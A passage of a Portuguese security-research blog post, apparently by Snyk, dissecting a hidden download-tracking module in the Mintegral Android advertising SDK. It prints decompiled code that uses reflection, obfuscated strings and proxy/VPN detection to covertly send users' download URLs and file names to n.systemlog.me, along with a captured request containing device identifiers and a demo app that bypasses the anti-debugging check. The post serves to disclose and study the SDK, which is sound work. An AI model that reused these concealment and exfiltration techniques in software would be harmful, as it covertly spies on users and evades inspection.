p =  clever=kbs0hoR1R0RsRgD0G0R0Woz2YoR1kBzEJdxMhAuhW2MXH7KUhBPgYFKgY7V%2FDFKw%2BoKAhdzQDkxAL75QJdfhWF59h7KBJaKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrR0M0LdxThdi1%2BoKhWFxXDBTMfo20DB2AL75QJdi%2FHFKXHFeQJ%2BfQhrfXYgxQYgN%2FDFKw%2BoKQ4dSXhgxhWFM2YavAG%2BiFYr32J%2B5whkzALUQXincsYkxU%2BoKuGatrLbf%2FYAcsYbfefAiAJ7wuHkwtf7JqL2MXinDMiUVPia3eiavMicMXinv9in32fAvPiaRPiajFiURPfavA%2BoIq%2BoIeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZnKuHaTeid3enrQB%2Bbx%2Bx3TMVjcU%2BFQ5G5zwijtUZaSufjJFfruAxdtiHrKw5Ff%2BZZHQ4dSXhgx7YbzwD%2BNKh7xrRQTsRrwbRUE0hF5Uhr5TWgS3H0RsRrHsRUE0inRTf0zK%2BN%3D%3D
app_id=118690
sign=9329a7706dd43d6ed64d022ad0e7b13b
platform=1
os_version=5.1.1
package_name=com.mintegral.sdk.demo
app_version_name=1.0
app_version_code=1
orientation=1
model=Android+SDK+built+for+x86
brand=Android
gaid=a717e74d-64fa-464e-a28a-cbb8dc67ef6b
mnc=260
mcc=310
network_type=13
language=en
timezone=GMT%2B02%3A00
useragent=Mozilla%2F5.0+%28Linux%3B+Android+5.1.1%3B+Android+SDK+built+for+x86+Build%2FLMY48X%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Version%2F4.0+Chrome%2F39.0.0.0+Mobile+Safari%2F537.36
sdk_version=MAL_10.5.0
gp_version=1.8
screen_size=1080x2160
has_wx=false
cache1=747
cache2=722
power_rate=100
charging=1
http_req=2
dvi=4BztYrxBYFQ3%2BFQ3RUE0fnVFDn5tDU3Mfkz0H7H3iBRsRrfuHoR1RUv0Woz3Y%2BN0G0Refnl9R0M0H72rRUEbfUvsRrfTRUE0kbl9fQT06N%3D%3D
unknown_source=1
sys_id=a54a2ddc-1a89-5ac3-aa69-d6b7906afa29
is_clever=2

Há dois parâmetros codificados adicionais, clever e dvi. Depois de decodificá-los também, percebemos algo interessante:

{
    "fl": "1246",
    "kw": "secret.pdf",
    "p": "",
    "ul": [
        "https://docs.google.com/spreadsheets/export?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf",
        "https://doc-04-bc-sheets.googleusercontent.com/export/l5l039s6ni5uumqbsj9o11lmdc/i88fksno1losq733tkieka4gjk/1602590910000/108195709029016229403/*/10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI?id=10y1Nir_tWFM0PAc_iU9Rm0HcH0i4Gv6jsDxLfomWcWI&exportFormat=pdf"
    ],
    "v": ""
}

{
    "android_id": "556a5ab905bbdfd3",
    "cid": "0",
    "ct": "[x86]",
    "dmf": 760,
    "dmt": "1588"
}

Como podemos ver, a URL da planilha do Google que baixamos pelo aplicativo Google Drive é enviada ao backend no campo ul, e o nome do arquivo baixado, no campo kw, enquanto dvi contém alguns dados do dispositivo.

Possíveis usos

No caso do iOS, cliques duplicados fraudulentos eram enviados do dispositivo do cliente para os servidores da Mintegral e, em seguida, para o provedor de atribuição (MMP). Neste caso, os APKs baixados ou instalados são reportados aos servidores e podem ser usados para gerar cliques no servidor. O diagrama a seguir demonstra o fluxo de dados:

Diagrama que mostra um SDK malicioso em um aplicativo Android afetado usando o ContentResolver e o Play Market para baixar um APK e enviar dados de cliques falsos.

Módulo Alphab

O comportamento mencionado acima está no módulo alphab, descrito pela Mintegral como um “pacote de otimização”:

Guia de integração do SDK para Android mostrando a seção de inicialização do SDK e uma tabela com pacotes de vídeo, anúncios de abertura, interativos e de otimização

Após nossa publicação, o módulo foi removido do site da Mintegral e parece não fazer mais parte do SDK distribuído. Descompilamos o SDK e localizamos o código responsável por esse comportamento.

Classe AlphaCommonConst

public final class AlphaCommonConst {

    /* renamed from: a */    public static String f0a = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKAJ7eXHM==");

    /* renamed from: b */    public static String f1b = a.c("LdxThdi1WBK\\/WgfPhbxQYkeXHBPwHZKsYFh=");

    /* renamed from: c */    public static String f2c = "decode error";

    /* renamed from: d */    public static boolean is_net_debug = false;

    /* renamed from: com.alphab.a$a */    /* compiled from: AlphaCommonConst */    public static class C0000a {

        /* renamed from: a */        public static String ACTION_NET_DEBUG = AlphabBase64Util.m1b("aEqMQ3ckisLAfcxK7En575xOayJIYsT=");

        /* renamed from: b */        public static String f5b = AlphabBase64Util.m1b("aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=");
    }

Essa classe contém muitas definições de constantes codificadas diretamente no código. Algumas strings são ofuscadas usando um esquema próprio de codificação baseado em Base64, localizado na classe AlphabBase64Util, semelhante ao que observamos na distribuição para iOS.

Após decodificar, obtemos as seguintes strings:

aEqMQ3ckisLAfcxK7En575xOayJIYsT=                   = alphab_net_debug_action
aELKr0xI7ULIYeJAYeN6aEbPQEx6FAVVNPBVJPHmNZJXJZN=   = android.intent.action.PACKAGE_ADDED
7sHPNsx6f3H6fcnArsxzf0H2                           = getContentResolver
aELKr0xI7UL67iN6HinI                               = android.net.Uri
aELKr0xI7ULKaiJOa0cg7jLoYsLP7ELP9sng7ins7iC=       = android.database.ContentObserver
aELKr0xI7ULGYsLP7ELPFKb4YeJAYeJj7ib4Yp7ArR==       = android.content.ContentResolver
r0HeQibP7inoYsLP7ELP9sng7ins7iC=                   = registerContentObserver
aELKr0xI7ULGYsLP7ELPFKn2YscKascgfcnAasHIf0H2       = android.content.BroadcastReceiver
aELKr0xI7ULGYsLP7ELPFKA6f3H6fX7IYpJArR==           = android.content.IntentFilter
aEJKNEbPQEx6                                       = addAction
r0HeQibP7inj7EbAQi7ArR==                           = registerReceiver

Elas são usadas nas etapas de inicialização que discutiremos a seguir.

Receptor Alphab

No método init() da classe AlphabReceiver, o BroadcastReceiver é inicializado com algumas das strings previamente ofuscadas:

try {
      AlphabReceiver alphabReceiver = new AlphabReceiver();
      Class cls = Class.forName(AlphaCommonConst.C0001b.f11f);
      Class cls2 = Class.forName(AlphaCommonConst.C0001b.f12g);
      Object newInstance = cls2.newInstance();
      Method method = IntentFilter.class.getMethod(AlphaCommonConst.C0001b.f13h, String.class);
      method.invoke(newInstance, AlphaCommonConst.C0000a.ACTION_NET_DEBUG);
      method.invoke(newInstance, AlphaCommonConst.C0000a.f5b);
      Context.class.getMethod(AlphaCommonConst.C0001b.f14i, cls, cls2).invoke(context, alphabReceiver, newInstance);
      } catch (Throwable th) {
            th.printStackTrace();
      }

Substituindo-as pelas strings decodificadas, o código fica assim:

AlphabReceiver alphab_receiver = new AlphabReceiver();
Class alphab_receiver_cls = Class.forName("android.content.BroadcastReceiver");
Class intent_filter_cls = Class.forName("android.content.IntentFilter");
Object intent_inst = intent_filter_cls.newInstance();
Method method = IntentFilter.class.getMethod("addAction", String.class);
method.invoke(intent_inst, "alphab_net_debug_action");
method.invoke(intent_inst, "android.intent.action.PACKAGE_ADDED");
Context.class.getMethod("registerReceiver", alphab_receiver_cls, intent_filter_cls)
.invoke(context, alphab_receiver, intent_inst);

Podemos ver que, com o uso da API de reflexão do Java, um novo receptor de broadcast é criado para escutar dois tipos de intents:

  • android.intent.action.PACKAGE_ADDED - um intent de todo o sistema, acionado quando um pacote é instalado no dispositivo.

  • alphab_net_debug_action - um intent personalizado que parece detectar depuração de rede.

Ao receber o intent, a classe AlphabReceiver cria um método ParseAndLoad():

public final class ParseAndLoad {

    /* renamed from: a */    private Intent f89a;

    public ParseAndLoad(Intent intent) {
        this.f89a = intent;
        if (AlphaCommonConst.C0000a.ACTION_NET_DEBUG.equals(intent.getAction())) {
            AlphaCommonConst.is_net_debug = true;
        }
    }
}

Esse campo é usado posteriormente em uma condição:

public final void mo40a() {
   boolean z = true;
   try {
        AlphabImpl.m61c(AlphabImpl.this);
        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).c();
                if (com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c)) {
                    g.b(AlphabImpl.f62a, "did in database " + this.f82c);
                } else if (AlphabImpl.this.f64b != null) {
                    Context a = AlphabImpl.this.f64b;
                    if (!AlphaCommonConst.is_net_debug && (NetUtils.is_proxy_enabled(a) || NetUtils.is_vpn_enabled())) {
                        z = false;
                    }
                    if (z) {
                        g.b(AlphabImpl.f62a, "insert did" + this.f82c);
                        com.mintegral.msdk.base.b.b.a(i.a(AlphabImpl.this.f64b)).a(this.f82c, this.f81b);
                        AlphabImpl.m56a(AlphabImpl.this, this.f82c);
                    }
                }
            } catch (Exception e) {
                if (MIntegralConstans.DEBUG) {
                    e.printStackTrace();
                }
            }
        }

A descompilação dos outros dois métodos nessa cláusula if revela que eles verificam se a conexão de rede atual passa por um proxy Wi-Fi ou um cliente VPN. Isso serve para impedir a depuração do aplicativo e a captura do tráfego. Esse intent permite que os desenvolvedores do SDK contornem essa funcionalidade antidepuração.

Observador Alphab

De forma semelhante, o bloco de inicialização deste ContentObserver também fica oculto em meio a reflexão e strings ofuscadas:

C0014a aVar = new C0014a(this.f70i);
Object invoke = Context.class.getMethod(AlphaCommonConst.C0001b.f6a, new Class[0]).invoke(context, new Object[0]);
Class cls3 = Class.forName(AlphaCommonConst.C0001b.f7b);
                        Class cls4 = Class.forName(AlphaCommonConst.C0001b.f8c);                  Class.forName(AlphaCommonConst.C0001b.f9d).getMethod(AlphaCommonConst.C0001b.f10e, cls3, Boolean.TYPE, cls4).invoke(invoke, Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKrM==")), true, aVar);

Após a limpeza, obtemos o seguinte:

AlpahbObserver observer = new AlpahbObserver(handler);
Object contentResolverObject = Context.class.getMethod(AlphaCommonConst.REFLECT.GETCONTENTRESOLVER).invoke(context);
Class uriClass = Class.forName(AlphaCommonConst.REFLECT.URI_CLASS);
Class contentObserver = Class.forName(AlphaCommonConst.REFLECT.CONTENTOBSERVER_CLASS);
Class contentResolver = Class.forName(AlphaCommonConst.REFLECT.CONTENTRESOLVER_CLASS).getMethod(AlphaCommonConst.REFLECT.REGISTERCONTENTOBSERVER, uriClass, boolean.class, contentObserver)
.invoke(contentResolverObject, Uri.parse(AlphabBase64Util.newBase64Decode(uriDownload)), true, observer);

Isso significa que o observador de conteúdo é registrado para escutar o URI content://downloads e é acionado sempre que um arquivo é baixado no dispositivo.

Ele consulta o gerenciador de downloads do Android para obter os downloads públicos:

cursor = aVar.f64b.getContentResolver().query(Uri.parse(AlphabBase64Util.m1b("asx6f3H6foh4FsJ4fsLzYscKr2xMfEnzQEbm73xyY0q4aEJgFM==") + str), null, null, null, null);

e, após decodificar a string, obtemos o seguinte:

cursor = aVar.f64b.getContentResolver()
.query(Uri.parse("content://downloads/public_downloads" + str), null, null, null, null);

Se a URL de download atender a qualquer uma das condições a seguir, será gerado um relatório para https://n.systemlog.met/stlog:

  1. Termina em apk - para downloads manuais.

  2. Refere-se a um pacote pertencente a com.android.vending ou contém google.com na URL - captura qualquer aplicativo do Google ou até mesmo URLs de navegador que correspondam à condição.

Abaixo está o trecho de código que envia a solicitação ao servidor https://n.systemlog.met/stlog.

else if (message.what == AlphabReqImpl.this.f23d && (eVar = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                eVar.b(0, AlphaCommonConst.f0a, AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);
            }

que equivale a:

else if (message.what == AlphabReqImpl.this.f23d && (req = new SCReq(AlphabReqImpl.this.f20a)) != null) {
                g.a("AlphabReqImpl", "setting  is request");
                req.send(0, "http://n.systemlog.me/stlog", AlphabReqImpl.this.f25f, AlphabReqImpl.this.f26g);

"E aqui podemos ver os parâmetros que observamos na solicitação capturada no nosso exemplo:

static /* synthetic */ void m26a(ReqPKGAndReportManager dVar, String str, String str2, List list, String str3, String str4) {
        try {
            if (TextUtils.isEmpty(str2)) {
                str2 = "";
            }
            if (TextUtils.isEmpty(str)) {
                str = "";
            }
            JSONArray jSONArray = new JSONArray();
            JSONObject jSONObject = new JSONObject();
            if (jSONObject != null) {
                try {
                    jSONObject.put("p", str);
                    jSONObject.put("v", str2);
                    JSONArray jSONArray2 = new JSONArray();
                    if (list != null && list.size() >= 0) {
                        for (int i = 0; i < list.size(); i++) {
                            jSONArray2.put(list.get(i));
                        }
                    }
                    jSONObject.put("ul", jSONArray2);
                    jSONObject.put("kw", str3);
                    jSONObject.put("fl", str4);
                } catch (Throwable th) {
                    if (MIntegralConstans.DEBUG) {
                        th.printStackTrace();
                    }
                }
            }
            jSONArray.put(jSONObject);
            String b = com.mintegral.msdk.base.utils.a.b(jSONArray.toString());
            dVar.f40i = new c();
            if (!(dVar.f40i == null || dVar.f20a == null)) {
                dVar.f40i.a("clever", b);
            }
            dVar.mo10a(dVar.f40i);
  • p - nome do pacote que está sendo baixado, ou seja, o aplicativo

  • v - versão do aplicativo

  • ul - URL do arquivo baixado

  • kw - nome do arquivo baixado

  • fl - tamanho do arquivo

Aplicativo de demonstração

Tela de um app Android intitulada “My Application”, com botões para solicitar permissões de gravação, ativar a depuração e baixar o logotipo do Google I e o APK

Para demonstrar esse comportamento, criamos um aplicativo de demonstração que nos permitiu:

1. Ativar a flag de depuração de rede por reflexão para contornar a lógica antidepuração

buttonIsNetDebug.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       try {
           Class AlphaCommonConst = Class.forName("com.alphab.a");
           AlphaCommonConst.getDeclaredField("d").set(null, true);
       } catch (Exception e) {
           e.printStackTrace();
       }
   }
});

2. Baixar um arquivo de uma URL que contém google.com

buttonDownloadGoogleLogo.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://images.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "googlelogo_color_272x92dp.png");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

3. Baixar um arquivo de uma URL que termina em apk

buttonDownloadApk.setOnClickListener(new View.OnClickListener() {
   @Override
   public void onClick(View v) {
       Uri uri = Uri.parse("https://storage.evozi.com/apk/dl/16/09/04/com.shazam.android_1004300.apk?f=google.com");
       DownloadManager.Request request = new DownloadManager.Request(uri);
       request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, "com.shazam.android_1004300.apk");
       request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_ONLY_COMPLETION);
       DownloadManager manager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
       manager.enqueue(request);
   }
});

"Capturamos as solicitações de saída usando um proxy HTTP. Depois de clicar em um dos botões de download, vemos uma solicitação sendo enviada ao endpoint do servidor:

Burp Suite Community Edition exibindo uma solicitação POST interceptada para n.systemlog.me, com cabeçalhos HTTP e dados de formulário codificados.

Veja um vídeo que demonstra o comportamento de rastreamento:

Malicious Mintegral SDK Leaks Data on Android

Linha do tempo

Data

Evento de pesquisa

5 de ago.

A equipe de pesquisa da Snyk identifica que o SDK para iOS da Mintegral coleta dados em excesso e sequestra cliques

17 de ago.

A Snyk divulga as descobertas à Apple de forma responsável

24 de ago.

A Snyk publica as descobertas Sour Mint para iOS

25 de ago.

A Mintegral publica um comunicado negando as acusações sobre o SDK

3 de set.

A IronSource anuncia a remoção da Mintegral de sua plataforma de mediação

3 de set.

A Mintegral lança a versão 6.5.0.0 do SDK para iOS, removendo o componente malicioso e oculto _CXX_CXX_OperationPKTask

4 de set.

A plataforma de mediação MoPub (Twitter) anuncia a descertificação da Mintegral em sua plataforma

4 de set.

A Mintegral anuncia planos de abrir o código-fonte do SDK

4 de set.

A equipe de pesquisa da Snyk identifica uma funcionalidade oculta de rastreamento de downloads na versão Android do SDK

9 de set.

A Snyk divulga as descobertas sobre o SDK para Android ao Google de forma responsável

10 de set.

A Mintegral lança a versão 6.6.0.0 do SDK para iOS, removendo o componente de backdoor MTGRemoteCommandParser

22 de set.

A Snyk obtém o código-fonte da versão 6.6.0.0 do SDK para iOS e realiza uma análise de diferenças

23 de set.

A Snyk identifica que a Mintegral removeu o módulo de rastreamento de downloads do Google de seu SDK para Android

30 de set.

Por meio de uma análise de diferenças, a Snyk identifica um backdoor na versão para iOS do SDK que permite RCE

2 de out.

A Snyk divulga as novas descobertas sobre iOS à Apple de forma responsável

3 de out.

A Apple notifica os desenvolvedores afetados e pede que removam o código que permite RCE

15 de out.

A Snyk publica as descobertas mais recentes sobre iOS e Android

Leia mais

Blog

Modelos de ponta encontraram as vulnerabilidades. Só o atacante encontrou as cadeias.

A análise estática encontrou as falhas, mas só os testes de ataque em aplicações ativas provaram como elas poderiam ser encadeadas para causar invasões. Uma comparação entre Evo COS, Claude Security e Claude Code Security.

feature insights context
Blog

Os ataques autônomos já chegaram. A defesa precisa acompanhar o ritmo.

Os atacantes autônomos estão reduzindo o tempo disponível para a defesa. Saiba como a descoberta, a correção, a validação e a prevenção contínuas ajudam as equipes de segurança a acompanhar esse ritmo.

Blog

Por que agentes de programação com IA continuam criando falhas de controle de acesso

Agentes de programação com IA podem gerar uma lógica de autorização que compila e passa pela revisão, mas permite que um tenant acesse os dados de outro. Saiba por que é difícil detectar falhas de controle de acesso e como evitá-las.